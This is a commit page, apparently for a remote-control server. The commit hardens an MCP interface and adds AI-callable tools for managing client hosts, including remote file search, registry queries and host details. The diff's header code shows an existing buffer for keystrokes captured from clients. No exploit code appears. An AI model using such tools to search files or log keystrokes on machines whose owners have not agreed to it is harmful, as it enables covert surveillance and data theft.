Feature: Harden the MCP transport and add non-destructive host tools
Cap MCP request bodies at 2 MB, set a 15 s idle read timeout and a 60 s
write timeout, and give httplib an explicit 32-thread pool: long tools
such as chat_wait hold a worker for up to 55 s, and the default pool of
8 to 15 left other callers queued.
Every tool returned by tools/list now carries readOnlyHint,
destructiveHint, idempotentHint and openWorldHint. The table is
per-tool; anything not registered defaults to destructive so a new
write tool cannot silently look harmless. Read-only tools are forced
to destructiveHint=false.
get_host_detail appends the technical fields the host store already
holds (cpuCores, memoryGB, systemBits, programBits, user, isAdmin,
installTime, expiredDate, monitors, exeVersion, clientPath, pid,
publicIp). The JSON writer is pinned to 15 significant digits so
memoryGB renders as 27.8 instead of 27.800000000000001. list hosts
output is unchanged.
Add host_set_remark and host_set_watch_level. Both validate the host
against the store, are refused in readonly mode, repaint the affected
row, and are audited without recording the value written.
Add search_file, which drives the client file-manager search channel
and returns paged results. The root path is normalized before sending:
the client enumerates with wsprintf("%s\*.*"), so a trailing
backslash produced C:\*.* and FindFirstFile failed, returning zero
hits instantly. The client only searches recursively, so non-recursive
requests are filtered server-side by comparing the parent directory.
Collection stops at 5000 records or 4 MB and the client is told to
stop; on timeout the partial results are returned. Search result
packets are never closed early: the sub-connection stays open until
TOKEN_SEARCH_FILE_FINISH, because the client's search thread holds a
pointer into the file manager object.
Batch reads report a skipped counter and are bounded to 50 ids and a
50 s deadline.
Add tools/mcp_smoke.ps1, a read-only end-to-end smoke test that asserts
auth rejection, the payload limit, annotation coverage, paging fields
and the main read tools. It takes the token from the environment and
never prints it.
Document all of the above in docs/Mcp_Design.md section 10, including
the client-side MAX_PATH stack overflow that a deep search_file call
can trigger, together with the workaround of searching shallow
directories.
Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
ac5b174b5f
commit
abe7e99a77
7 files changed
+1244
-11
No files matched your search
@@ -104,6 +104,31 @@ public:
|
||||
// 等 TOKEN_FILE_LIST(调用方不关子链接)。
|
||||
bool OnDriveList(uint64_t device_id, context* subCtx, const BYTE* buf, ULONG len);
|
||||
|
||||
// ===== B2:search_file(文件搜索,COMMAND_SEARCH_FILE → N×TOKEN_SEARCH_FILE_LIST
|
||||
// + TOKEN_SEARCH_FILE_FINISH)=====
|
||||
//
|
||||
// 搜索结果是「流式多包」:客户端边搜边发,最后单独发一个 FINISH。子连接在 FINISH
|
||||
// 之前绝不能关——客户端 CFileManager 的搜索线程持有 this 指针,连接在内搜索未停时
|
||||
// 断开会让它访问已析构对象(客户端既有缺陷)。
|
||||
//
|
||||
// MessageHandle(TOKEN_SEARCH_FILE_LIST) 调用:挂起命中且为 search_file 则收下这一包。
|
||||
// 超过收集上限时自行下发 COMMAND_FILES_SEARCH_STOP 并标记 truncated。
|
||||
// 只接受来自登记过的那条子连接(pending.subCtx)的包:被放弃的旧搜索在设备重开后
|
||||
// 仍可能吐尾包,按 context 身份区分,避免把旧搜索的结果/结束信号算到新搜索头上。
|
||||
bool OnSearchFileRecords(uint64_t device_id, context* subCtx, const BYTE* buf, ULONG len);
|
||||
|
||||
// MessageHandle(TOKEN_SEARCH_FILE_FINISH) 调用:置 finished 并唤醒等待者。
|
||||
// 同样只认 pending.subCtx 发来的 FINISH;其它子连接的 FINISH 只关它自己,不影响挂起。
|
||||
void FinishSearchFile(uint64_t device_id, context* subCtx);
|
||||
|
||||
// 工具线程:等待搜索结束(或超时)。取走已收集的原始包;finished=false 表示还在搜。
|
||||
bool WaitSearchFile(uint64_t device_id, std::vector<std::vector<BYTE>>& records,
|
||||
bool& finished, bool& truncated, context*& subCtx, int timeoutMs);
|
||||
|
||||
// 工具线程:让客户端停止搜索(COMMAND_FILES_SEARCH_STOP,客户端会等搜索线程退出
|
||||
// 后回 FINISH)。幂等。
|
||||
void StopSearchFile(uint64_t device_id);
|
||||
|
||||
// ===== P3:list_registry(注册表查询,三阶段:COMMAND_REGEDIT → TOKEN_REGEDIT →
|
||||
// COMMAND_REG_FIND → TOKEN_REG_PATH + TOKEN_REG_KEY)=====
|
||||
|
||||
@@ -460,6 +485,12 @@ private:
|
||||
// ===== N3:键盘记录(kind = Keylog 时有效)=====
|
||||
std::string keylogBuf; // 累积的原始击键字节(客户端编码,未含 token)
|
||||
bool keylogTruncated = false; // 已到字节上限,后续数据被丢弃
|
||||
// ===== B2:search_file(tool == "search_file" 时有效)=====
|
||||
std::vector<std::vector<BYTE>> searchRecords; // 已收集的 TOKEN_SEARCH_FILE_LIST 原始包
|
||||
size_t searchBytes = 0;
|
||||
bool searchFinished = false; // 已收到 TOKEN_SEARCH_FILE_FINISH
|
||||
bool searchStopSent = false; // 已下发 COMMAND_FILES_SEARCH_STOP
|
||||
bool searchTruncated = false; // 命中收集上限,后续匹配被丢弃
|
||||
};
|
||||
std::mutex m_PendingMutex;
|
||||
std::condition_variable m_PendingCv;
|
||||
|
||||
Reference in new issue
Block a user